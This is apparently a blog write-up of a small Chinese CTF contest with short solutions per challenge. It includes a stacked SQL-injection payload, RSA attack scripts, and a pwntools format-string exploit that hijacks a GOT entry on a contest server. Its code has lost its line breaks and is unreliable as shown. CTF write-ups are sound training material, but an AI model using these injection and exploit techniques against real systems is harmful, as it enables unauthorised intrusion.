本文主要是介绍“摆烂杯”CTF大赛 by 速の山海经ケ奇珍异兽,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
赛事简介
赛事时间
2023年10月30日(星期四)下午13:30-17:00
最终排名
目录
- WEB
- easy_sql
- CRYPTO
- baby_rsa
- baaaaaaaaaaaaaaaaaase
- how_old_are_you_RSA
- MISC
- qiandaoti_XOR
- baby_ACM misc_baigeiti
- 又一个baby_ACM
- YES RGB!
- baigei_FLAG
- REVERSE
- re1
- console
- easy_android
- easy_re
- PWN
- baby_pwn
- pwn_baby
WEB
easy_sql
1、强网杯原题(sql堆叠注入)
exp:
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
拼接字符串查找flag
baby_rsa
- 主要就是通过p+q和(p+1)*(q+1)来算n的值
脚本如下:
import libnump= 0x1232fecb92adead91613e7d9ae5e36fe6bb765317d6ed38ad890b4073539a6231a6620584cea5730b5af83a3e80cf30141282c97be4400e33307573af6b25e2eaq=0x5248becef1d925d45705a7302700d6a0ffe5877fddf9451a9c1181c4d82365806085fd86fbaab08b6fc66a967b2566d743c626547203b34ea3fdb1bc06dd3bb765fd8b919e3bd2cb15bc175c9498f9d9a0e216c2dde64d81255fa4c05a1ee619fc1fc505285a239e7bc655ec6605d9693078b800ee80931a7a0c84f33c851740e = 0xe6b1bee47bd63f615c7d0a43c529d219d = 0x2dde7fbaed477f6d62838d55b0d0964868cf6efb2c282a5f13e6008ce7317a24cb57aec49ef0d738919f47cdcd9677cd52ac2293ec5938aa198f962678b5cd0da344453f521a69b2ac03647cdd8339f4e38cec452d54e60698833d67f9315c02ddaa4c79ebaa902c605d7bda32ce970541b2d9a17d62b52df813b2fb0c5ab1a5enc_flag =0xca3df19844c617ad8a41f88f8ea554eb993a4a61255bc46adfeabe205c2a2049a06816bc2cf46d61f193dee5c25958c7961029a9fafd9cd81cff5dfa51518f55b59e900c594287e6c48727660ce768ad7637d5f43dbd909bc53e07eb6a8f1acffcb3bb98bf1ce0af78dc9c5a04bb940cb91a2740d180f03ffa8e5a9b953ffc9phi=q-2*p-2n=(phi+q)//2m=pow(enc_flag,d,n)print(libnum.n2s(int(m)))# b'flag{today_is_thursday_so_v_me_50}'
baaaaaaaaaaaaaaaaaase
1、一眼丁真base家族套娃
import base64with open("./base.txt", "rb") as f:data = f.read()def getTable(data):lis = list(set(data))lis = sorted(lis)print(len(lis), ''.join(list(map(lambda x: chr(x), lis))))data = base64.b32decode(data)data = base64.b32decode(data)data = base64.b64decode(data)data = base64.b85decode(data)data = base64.b64decode(data)data = base64.b64decode(data)data = base64.b32decode(data)data = base64.b32decode(data)data = base64.b16decode(data)data = base64.b32decode(data)data = base64.b64decode(data)data = base64.b64decode(data)data = base64.b64decode(data)data = base64.b32decode(data)data = base64.b32decode(data)data = base64.b64decode(data)data = base64.b16decode(data)data = base64.b16decode(data)data = base64.b32decode(data)getTable(data)with open("./out.txt", "wb") as f:f.write(data)
2、解到最后一步卡住了直接手动解密得到flag
how_old_are_you_RSA
1、已知n,e1,e2,c1,c2,求m,考查共模攻击。
代码如下:
import gmpy2import binasciin = 2748281443944427868843369402621263042158244258427433547653329234844505048333691189629107146775166551897070384880309396022510445087966911639388490862151e1 = 65537e2 = 992923c1 = 285685918239736826397269350382490971822513853503791279402545608976504614743806744945079572548121135341824742716166350238418142063969240075997981863636c2 = 129273488481770576836913112982915335157542027932363877138157510043383503149178933085861517442700435060934412452576721945085276483980455830616742529117s = gmpy2.gcdext(e1,e2)m1 = gmpy2.powmod(c1,s[1],n)m2 = gmpy2.powmod(c2,s[2],n)m = (m1*m2)%nprint(binascii.unhexlify(hex(m)[2:]))#b'flag{efdcb148-a63b-385e-9d27-984ccfedde87}'
MISC
qiandaoti_XOR
1、蔡徐坤为23,但xor后乱码,发现将23转换为十六进制后,发现!!!!
2、文件尾发现zip的模样!!!!
3.修复后发现密码消失
4.、得到flag
baby_ACM
- ACM题我只能说6!!!!!!ACM国际大学生程序设计竞赛
- 只能慢慢搓脚本wwwww
脚本如下:
def min_steps(a):n = len(a) # 获取石头的数量# 创建一个动态规划数组,用于记录到达每个位置时所需的最少步数dp = [float('inf')] * (n+3)dp[0] = 0for i in range(n): # 遍历每个位置# 选择在当前位置跳一步,两步,或三步# 并更新到达下一个位置所需的最少步数dp[i+1] = min(dp[i+1], dp[i] + a[i])dp[i+2] = min(dp[i+2], dp[i] + a[i])dp[i+3] = min(dp[i+3], dp[i] + a[i])# 返回最后一个位置的最少步数return dp[n]# 提供桥上石头的数量a = [1 ,4 ,1 ,2 ,4 ,3 ,4 ,4 ,5 ,5 ,2 ,5 ,4 ,1 ,5 ,1 ,1 ,5 ,1 ,3 ,1 ,3 ,2 ,4 ,1 ,1 ,2 ,1 ,3 ,5 ,1 ,1 ,4 ,3 ,2 ,3 ,4 ,1 ,4 ,1 ,3 ,5 ,2 ,5 ,4 ,1 ,5 ,1 ,3 ,5 ,4 ,1 ,2 ,2 ,3 ,1 ,2 ,1 ,2 ,2 ,3 ,3 ,5 ,4 ,1 ,2 ,2 ,2 ,5 ,4 ,3 ,3 ,4 ,4 ,2 ,3 ,5 ,2 ,3 ,5 ,3 ,5 ,2 ,3 ,5 ,4 ,5 ,2 ,5 ,3 ,4 ,1 ,5 ,2 ,3 ,3 ,4 ,3 ,5 ,5 ,3 ,3 ,4 ,2 ,4 ,5 ,5 ,4 ,5 ,1 ,1 ,1 ,2 ,2 ,2 ,5 ,1 ,5 ,4 ,1 ,4 ,1 ,3 ,4 ,3 ,4 ,3 ,4 ,3 ,1 ,1 ,1 ,3 ,1 ,5 ,2 ,1 ,2 ,4 ,5 ,3 ,4 ,2 ,3 ,4 ,5 ,5 ,1 ,2 ,4 ,5 ,3 ,2 ,1 ,3 ,4 ,4 ,4 ,2 ,1 ,1 ,5 ,4 ,5 ,5 ,1 ,1 ,3 ,4 ,3 ,2 ,4 ,1 ,1 ,5 ,5 ,5 ,4 ,1 ,3 ,4 ,4 ,3 ,1 ,2 ,5 ,4 ,3 ,2 ,4 ,5 ,4 ,5 ,3 ,1 ,2 ,2 ,5 ,1 ,5 ,5 ,4 ,4 ,5 ,5 ,4 ,1 ,5 ,4 ,1 ,5 ,4 ,3 ,1 ,1 ,4 ,4 ,5 ,2 ,2 ,2 ,3 ,5 ,2 ,3 ,3 ,2 ,3 ,2 ,1 ,4 ,5 ,4 ,5 ,2 ,3 ,5 ,5 ,4 ,2 ,5 ,5 ,2 ,3 ,2 ,2 ,1 ,1 ,3 ,1 ,3 ,4 ,1 ,5 ,5 ,5 ,5 ,4 ,3 ,2 ,2 ,4 ,1 ,5 ,3 ,3 ,2 ,5 ,3 ,1 ,3 ,2 ,5 ,4 ,3 ,2 ,5 ,4 ,4 ,3 ,3 ,2 ,1 ,3 ,1 ,2 ,5 ,5 ,1 ,3 ,1 ,2 ,4 ,3 ,5 ,3 ,1 ,3 ,4 ,4 ,5 ,5 ,5 ,5 ,3 ,2 ,3 ,5 ,4 ,2 ,5 ,5 ,1 ,3 ,2 ,3 ,5 ,3 ,1 ,1 ,2 ,5 ,5 ,4 ,4 ,3 ,5 ,5 ,5 ,2 ,3 ,5 ,5 ,2 ,5 ,1 ,4 ,2 ,5 ,5 ,1 ,5 ,5 ,1 ,1 ,1 ,5 ,2 ,2 ,4 ,5 ,1 ,5 ,5 ,3 ,5 ,3 ,1 ,2 ,4 ,5 ,2 ,3 ,3 ,2 ,4 ,5 ,5 ,5 ,2 ,1 ,4 ,5 ,4 ,4 ,2 ,4 ,5 ,1 ,5 ,4 ,4 ,3 ,1 ,2 ,3 ,3 ,4 ,3 ,1 ,1 ,1 ,5 ,2 ,1 ,5 ,2 ,4 ,2 ,4 ,1 ,3 ,1 ,4 ,3 ,3 ,4 ,2 ,5 ,4 ,2 ,5 ,1 ,4 ,4 ,1 ,1 ,5 ,4 ,2 ,2 ,1 ,2 ,5 ,4 ,4 ,2 ,1 ,5 ,5 ,4 ,5 ,1 ,4 ,4 ,1 ,3 ,5 ,1 ,1 ,5 ,2 ,3 ,3 ,2 ,3 ,3 ,5 ,3 ,1 ,1 ,1 ,2 ,1 ,4 ,1 ,3 ,4 ,3 ,3 ,3 ,4 ,4 ,4 ,5 ,4 ,3 ,4 ,3 ,3 ,2 ,2 ,2 ,4 ,1 ,1 ,5 ,2 ,3 ,1 ,5 ,2 ,1 ,5 ,1 ,2 ,1 ,5 ,4 ,4 ,2 ,1 ,4 ,4 ,2 ,3 ,3 ,4 ,4 ,3 ,4 ,4 ,5 ,3 ,4 ,4 ,5 ,1 ,5 ,2 ,1 ,4 ,2 ,4 ,1 ,4 ,2 ,1 ,4 ,2 ,1 ,5 ,3 ,3 ,5 ,2 ,1 ,2 ,3 ,4 ,4 ,1 ,3 ,4 ,3 ,1 ,4 ,3 ,4 ,3 ,3 ,2 ,2 ,1 ,2 ,5 ,3 ,1 ,3 ,5 ,5 ,1 ,2 ,5 ,3 ,1 ,4 ,2 ,3 ,4 ,5 ,3 ,3 ,2 ,1 ,1 ,4 ,1 ,1 ,3 ,5 ,3 ,4 ,2 ,5 ,2 ,4 ,4 ,1 ,1 ,5 ,4 ,5 ,1 ,4 ,5 ,5 ,4 ,2 ,2 ,2 ,4 ,2 ,3 ,3 ,1 ,1 ,1 ,4 ,2 ,1 ,2 ,2 ,3 ,2 ,4 ,2 ,2 ,2 ,2 ,2 ,3 ,2 ,2 ,2 ,3 ,3 ,2 ,3 ,3 ,1 ,2 ,2 ,2 ,5 ,4 ,4 ,5 ,5 ,1 ,4 ,1 ,3 ,4 ,2 ,4 ,1 ,2 ,5 ,5 ,5 ,5 ,5 ,3 ,2 ,5 ,1 ,5 ,3 ,1 ,4 ,2 ,2 ,2 ,3 ,1 ,1 ,3 ,1 ,4 ,5 ,5 ,1 ,4 ,4 ,1 ,1 ,2 ,3 ,1 ,4 ,5 ,1 ,1 ,2 ,3 ,2 ,5 ,3 ,5 ,2 ,1 ,3 ,5 ,5 ,2 ,1 ,4 ,5 ,3 ,5 ,5 ,5 ,1 ,1 ,3 ,3 ,1 ,3 ,2 ,5 ,2 ,4 ,1 ,5 ,3 ,2 ,5 ,4 ,5 ,5 ,5 ,3 ,4 ,3 ,4 ,1 ,2 ,1 ,2 ,2 ,2 ,1 ,1 ,3 ,1 ,1 ,1 ,4 ,3 ,4 ,1 ,4 ,5 ,1 ,3 ,3 ,3 ,1 ,1 ,4 ,4 ,1 ,3 ,4 ,5 ,2 ,4 ,4 ,3 ,1 ,1 ,4 ,2 ,2 ,3 ,1 ,4 ,3 ,5 ,4 ,3 ,1 ,3 ,3 ,3 ,2 ,4 ,3 ,5 ,4 ,2 ,3 ,3 ,1 ,3 ,5 ,2 ,2 ,4 ,1 ,1 ,3 ,1 ,2 ,1 ,4 ,1 ,5 ,4 ,4 ,2 ,1 ,3 ,4 ,3 ,5 ,2 ,2 ,4 ,4 ,2 ,4 ,2 ,2 ,2 ,5 ,4 ,4 ,5 ,5 ,3 ,5 ,1 ,4 ,5 ,3 ,4 ,2 ,5 ,4 ,5 ,2 ,2 ,5 ,2 ,2 ,4 ,1 ,1 ,2 ,2 ,3 ,5 ,1 ,4 ,4 ,5 ,1 ,2 ,5 ,5 ,2 ,4 ,3 ,5 ,5 ,1 ,4 ,5 ,2 ,3 ,4 ,2 ,3 ,1 ,4 ,1 ,4 ,2 ,2 ,5 ,3 ,2 ,2 ,2 ,3 ,3 ,1 ,1 ,2 ,1 ,1 ,5 ,5 ,1 ,4 ,2 ,4 ,5 ,4 ,5 ,4 ,2 ,1 ,5 ,1 ,1 ,5 ,1 ,2 ,4 ,3 ,3 ,2 ,2 ,2 ,1 ,5 ,1 ,1 ,2 ,4 ,3 ,5 ,2 ,2 ,3 ,2 ,4 ,2 ,1 ,3 ,2 ,2 ,3 ,1 ,1 ,3 ,3 ,5 ,4 ,4 ,5 ,4 ,5 ,1 ,3 ,4 ,4 ,2 ,5 ,5 ,5 ,3 ,4 ,5 ,1 ,3 ,1 ,3 ,4 ,1 ,1 ,3 ,2 ,5 ,5 ,5 ,1 ,1 ,1 ,3 ,3 ,3 ,3 ,5 ,4 ,1 ,4 ,1 ,4 ,3 ,2 ,1 ,1 ,4 ,4 ,3 ,3 ,2 ,3 ,4 ,2 ,3 ,2 ,4 ,3 ,4 ,3 ,5 ,1 ,5 ,2 ,3 ,4 ,2 ,2 ,1 ,1 ,2 ,1 ,4 ,5 ,5 ,1 ,5 ,5 ,1 ,5 ,3]# 调用函数并打印结果print(min_steps(a))#b”787”
misc_baigeiti
- 爆破密码121212
- b神工具包一把梭
爆破宽高咯
又一个baby_ACM
- 已经生气了!!!!
- 继续搓
脚本如下:
import numpy as np# 邻接矩阵的大小,城市数目和边数n = 100m = 4# 创建邻接矩阵并初始化为无穷大adj_matrix = np.full((n, n), np.inf)# 填入给出的数据data = [(6,58,25),(36,98,16),(64,14,5),(56,98,24),(77,29,20),(22,74,15),(70,79,25),(52,92,11),(7,33,31),(6,28,24),(13,81,33),(82,76,11),(69,65,26),(2,69,7),(98,84,34),(18,78,22),(79,15,29),(8,41,29),(48,87,9),(46,91,5),(52,74,5),(12,55,6),(24,73,14),(38,40,24),(56,8,5),(11,30,18),(57,46,11),(84,96,28),(11,51,31),(3,2,24),(48,43,18),(82,31,7),(81,9,19),(8,38,27),(71,89,31),(37,25,32),(18,88,8),(77,5,12),(43,71,17),(61,67,33),(90,13,30),(92,20,31),(57,13,11),(67,35,8),(99,9,14),(42,26,20),(72,35,22),(95,97,30),(20,4,29),(30,34,11),(52,8,18),(33,98,18),(4,93,23),(34,14,12),(54,11,23),(23,55,20),(32,80,8),(35,16,26),(30,81,14),(99,77,30),(6,59,29),(67,60,28),(35,10,29),(69,12,20),(59,41,11),(79,99,15),(4,94,34),(66,36,8),(43,64,15),(51,97,20),(71,59,7),(82,80,11),(26,45,8),(30,78,18),(54,92,19),(80,61,5),(27,87,27),(85,99,12),(29,99,17),(74,41,11),(23,96,12),(47,29,13),(21,71,19),(8,14,20),(16,14,24),(14,71,25),(88,72,9),(2,46,6),(5,19,26),(9,93,24),(100,63,29),(4,50,29),(82,13,14),(5,92,29),(40,91,26),(83,66,26),(98,12,28),(58,23,33),(47,94,25),(57,56,8),(10,91,29),(52,29,23),(3,61,32),(42,61,24),(89,15,5),(37,2,33),(68,97,13),(52,49,31),(26,10,25),(40,12,34),(33,100,23),(77,45,16),(13,80,28),(14,70,10),(51,83,24),(90,3,6),(92,29,21),(100,44,30),(93,72,22),(44,49,31),(83,88,23),(88,78,22),(56,18,24),(40,53,18),(39,82,16),(20,60,20),(61,39,26),(27,53,17),(82,2,19),(100,24,15),(96,80,26),(56,68,26),(36,73,8),(41,43,18),(84,3,22),(17,26,33),(72,65,13),(28,56,12),(3,67,12),(68,83,27),(63,70,22),(86,54,14),(27,74,34),(26,21,7),(54,89,26),(44,47,7),(25,8,34),(14,58,30),(73,21,20),(80,20,7),(15,57,11),(75,21,30),(45,68,5),(87,75,16),(87,15,8),(49,90,23),(41,56,23),(24,96,29),(77,8,10),(26,59,25),(85,60,10),(77,6,6),(99,50,18),(96,85,15),(96,39,13),(9,95,18),(59,76,25),(51,31,27),(9,73,11),(27,12,30),(34,90,5),(12,76,17),(94,92,18),(20,57,32),(3,88,7),(55,39,26),(28,36,28),(20,36,15),(45,64,30),(98,27,31),(40,80,17),(56,14,33),(73,22,12),(58,3,11),(96,95,30),(40,8,20),(5,47,12),(7,68,13),(41,2,27),(13,47,17),(33,52,7),(6,29,7),(6,5,21),(34,5,20),(1,3,10),(15,16,25),(42,54,23),(18,28,23),(49,48,20),(85,59,5),(59,100,7),(6,61,26),(3,94,30),(95,71,16),(60,66,20),(38,98,31),(83,63,7),(71,88,6),(22,100,5),(31,72,16),(26,35,26),(43,59,9),(94,52,16),(42,15,7),(70,52,14),(69,82,28),(18,33,25),(80,28,12),(76,71,21),(86,1,24),(73,16,24),(48,60,20),(54,61,27),(92,64,33),(85,76,18),(71,90,5),(13,19,10),(69,99,21),(28,60,18),(43,29,12),(81,83,17),(84,24,23),(47,8,24),(10,29,21),(86,25,12),(36,69,12),(89,85,27),(89,25,10),(41,16,25),(92,32,25),(67,65,14),(63,23,9),(17,80,25),(80,26,6),(69,54,21),(91,74,7),(39,93,11),(63,52,25),(52,36,9),(49,28,6),(90,2,25),(30,5,24),(41,57,8),(23,43,26),(84,44,8),(15,33,34),(84,57,26),(92,77,16),(94,18,26),(99,7,30),(43,45,23),(22,4,10),(77,95,6),(68,30,22),(94,86,24),(29,79,11),(22,20,22),(49,20,13),(92,21,7),(77,94,25),(16,25,24),(37,68,11),(97,15,25),(63,17,29),(85,93,25),(37,87,24),(71,41,10),(69,37,29),(22,65,6),(21,47,26),(80,30,33),(20,7,19),(20,9,13),(82,91,11),(62,33,34)]for a, b, cost in data:adj_matrix[a-1][b-1] = costadj_matrix[b-1][a-1] = cost# Prim算法求解最小生成树MST = set() # 最小生成树集合MST.add(0) # 随机选择一个城市作为起始点total_cost = 0 # 最低成本预算while len(MST) < n:min_cost = np.infnew_city = Nonefor city in MST:for i in range(n):if i not in MST and adj_matrix[city][i] < min_cost:min_cost = adj_matrix[city][i]new_city = iMST.add(new_city)total_cost += min_costprint(total_cost)# 1048.0
YES RGB!
- Rgb逐行转图片
- 直接和给的图片lsb得到flag
baigei_FLAG
- 像素点提取得到flag
不给脚本!!!!
REVERSE
Getflag
1、jeb打开找到main函数
分析加密差一个key
2、前面有函数,读取文件
然后前面找
3、得到key
写出解密脚本
得到flag
RE1
1、运行ida 直接查找字符串
2、得到flag
Easy_re
1、010打开发现特征码被改掉了,改为大写
2、脱壳后拖入ida
3、一眼顶真
4、加密直接爆破直接逆都可以
得到flag
Conslo
1、找到flag代码
2、函数自动输出flag让函数步进到这里调试,在程序开头修改eip跳转到这里运行程序得到flag
PWN
baby_pwn
- 直接nc远程连接cat /flag
原理main函数中有system函数可执行系统权限
pwn_baby
1、存在栈溢出和格式化字符串漏洞,但是有canary,无法泄露,则无法使用栈溢出,可以用格式化漏洞将puts的got改为后门函数即可。
脚本如下:
from pwn import *# r=process('./demo')r=remote('120.26.101.154',28058)elf=ELF('./demo')context.arch='amd64'puts_got=elf.got['puts']backdoor=0x4007c7r.recvuntil('input > ')payload=fmtstr_payload(6,{puts_got:backdoor})# gdb.attach(r)r.sendline(payload)r.interactive()
还是太菜了www,web就解出来一道题QAQ!!!!
这篇关于“摆烂杯”CTF大赛 by 速の山海经ケ奇珍异兽的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!